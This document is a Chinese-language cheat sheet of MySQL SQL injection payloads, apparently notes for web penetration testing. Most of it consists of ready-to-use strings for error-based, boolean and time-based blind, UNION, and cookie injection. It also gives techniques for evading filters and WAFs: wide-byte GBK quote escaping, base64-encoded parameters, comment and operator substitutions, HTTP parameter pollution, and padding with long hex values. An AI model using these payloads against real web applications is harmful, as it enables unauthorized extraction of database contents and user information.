@toc
==基于floor,UpdateXml(有长度限制,最长32位),ExtractValue(有长度限制,最长32位)进行报错注入。==
union select count(*),2,concat(':',(select database()),':',floor(rand()*2))as a from information_schema.tables group by a /*利用错误信息得到当前数据库名*/
id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)))
id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1))
id=1 and geometrycollection((select * from(select * from(select user())a)b))
id=1 and multipoint((select * from(select * from(select user())a)b))
id=1 and polygon((select * from(select * from(select user())a)b))
id=1 and multipolygon((select * from(select * from(select user())a)b))
id=1 and linestring((select * from(select * from(select user())a)b))
id=1 and multilinestring((select * from(select * from(select user())a)b))
id=1 and exp(~(select * from(select user())a))
配合报错注入即可/也可以用注入点在limit后的注入
样例
id = 1 and if(length(database())>1,sleep(5),1)
length(str) :返回字符串str的长度
substr(str, pos, len) :将str从pos位置开始截取len长度的字符进行返回。注意这里的pos位置是从1开始的,不是数组的0开始
mid(str,pos,len) :跟上面的一样,截取字符串
ascii(str) :返回字符串str的最左面字符的ASCII代码值
ord(str) :将字符或布尔类型转成ascll码
if(a,b,c) :a为条件,a为true,返回b,否则返回c,如if(1>2,1,0),返回0
and ascii(substr((select database()),1,1))>64 /*判断数据库名的第一个字符的ascii值是否大于64*/
id=1 union select if(SUBSTRING(user(),1,1)='root',sleep(4),1),null,null /*提取用户名第一个个字符做判断,正确就延迟4秒,错误返回1*/
id =-1 union select 1,2,3 /*获取字段*/
id=1' substr(database(),1,1)='t'--+ /*判断数据名*/
当发现在url中没有请求参数,单数却能得到结果的时候,可以看看请求参数是不是在cookie中,然后利用常规注入方式在cookie中注入测试即可,只是注入的位置在cookie中,与url中的注入没有区别。
Cookie: id = 1 and 1=1
id = 1';select if(sub(user(),1,1)='r',sleep(3),1)%23
成功删除
tips:
对参数进行base64编码,再发送请求。
说明:id=1',1的base64编码为MSc=,而=的url编码为%3d,
所以得到以下结果:
id=MSc%3d
#
-- (有空格)或--+
/**/
内联注释:
/*!...*/
id = -1%DF' union select 1,user(),3,%23
在上述条件下,单引号’被转义为%5c,所以就构成了%df%5c,而在GBK编码方式下,%df%5c是一个繁体字“連”,所以单引号成功逃逸系统数据库,记录当前数据库的数据库,表,列,用户权限等信息
储存mysql所有数据库的基本信息,包括数据库名,编码类型路径等
储存mysql中的表信息,包括这个表是基本表还是系统表,数据库的引擎是什么,表有多少行,创建时间,最后更新时间等
储存mysql中表的列信息,包括这个表的所有列以及每个列的信息,该列是表中的第几列,列的数据类型,列的编码类型,列的权限,列的注释等
substr、mid()函数中可以利用from to来摆脱对逗号的利用;
limit中可以利用offset来摆脱对逗号的利用
greatest、between and
and=&& or=|| xor=| not=!
用括号,+等绕过
举个例子,我在谷歌和百度搜索的时候都将查询的参数传两次,谷歌会都作为搜索内容加载,百度则只加载第一个
id=1 union select+1,2,3+from+users+where+id=1–
变为
id=1 union select+1&id=2,3+from+users+where+id=1–
id=1 and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAAAAA)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26 ,27,28,29,30,31,32,33,34,35,36–+
其中0xAAAAAAAAAAAAAAAAAAAAA这里A越多越好。一般会存在临界值,其实这种方法还对后缀名的绕过也有用